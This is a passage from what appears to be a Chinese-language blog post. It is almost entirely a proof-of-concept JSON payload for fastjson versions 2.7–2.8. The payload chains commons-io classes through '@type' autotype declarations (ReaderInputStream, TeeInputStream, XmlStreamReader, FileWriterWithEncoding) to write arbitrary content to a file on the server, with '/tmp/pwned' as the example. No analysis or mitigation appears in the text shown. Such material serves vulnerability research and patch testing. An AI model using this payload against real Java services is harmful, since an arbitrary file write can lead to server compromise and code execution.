                "defaultEncoding": "UTF-8"
            }
        }
    }

2.7-2.8版本POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
{
    "x": {
        "@type": "com.alibaba.fastjson.JSONObject",
        "input": {
            "@type": "java.lang.AutoCloseable",
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "org.apache.commons.io.input.CharSequenceReader",
                "charSequence": {
                    "@type": "java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
                    "start": 0,
                    "end": 2147483647
                },
                "charsetName": "UTF-8",
                "bufferSize": 1024
            },
            "branch": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.output.WriterOutputStream",
                "writer": {
                    "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
                    "file": "/tmp/pwned",
                    "charsetName": "UTF-8",
                    "append": false
                },
                "charsetName": "UTF-8",
                "bufferSize": 1024,
                "writeImmediately": true
            },
            "trigger": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.input.XmlStreamReader",
                "inputStream": {
                    "@type": "org.apache.commons.io.input.TeeInputStream",
                    "input": {
                        "$ref": "$.input"
                    },
                    "branch": {
                        "$ref": "$.branch"
                    },
                    "closeBranch": true
                },
                "httpContentType": "text/xml",
                "lenient": false,
                "defaultEncoding": "UTF-8"
            },
            "trigger2": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.input.XmlStreamReader",
                "inputStream": {
                    "@type": "org.apache.commons.io.input.TeeInputStream",
                    "input": {
                        "$ref": "$.input"
                    },
                    "branch": {
                        "$ref": "$.branch"
                    },
                    "closeBranch": true
                },
                "httpContentType": "text/xml",
                "lenient": false,
                "defaultEncoding": "UTF-8"
            },
            "trigger3": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.input.XmlStreamReader",
                "inputStream": {
                    "@type": "org.apache.commons.io.input.TeeInputStream",
                    "input": {
                        "$ref": "$.input"
                    },
                    "branch": {
                        "$ref": "$.branch"
                    },
                    "closeBranch": true
                },
                "httpContentType": "text/xml",
                "lenient": false,
                "defaultEncoding": "UTF-8"
            }
        }
使用 Hugo 构建
主题 StackJimmy 设计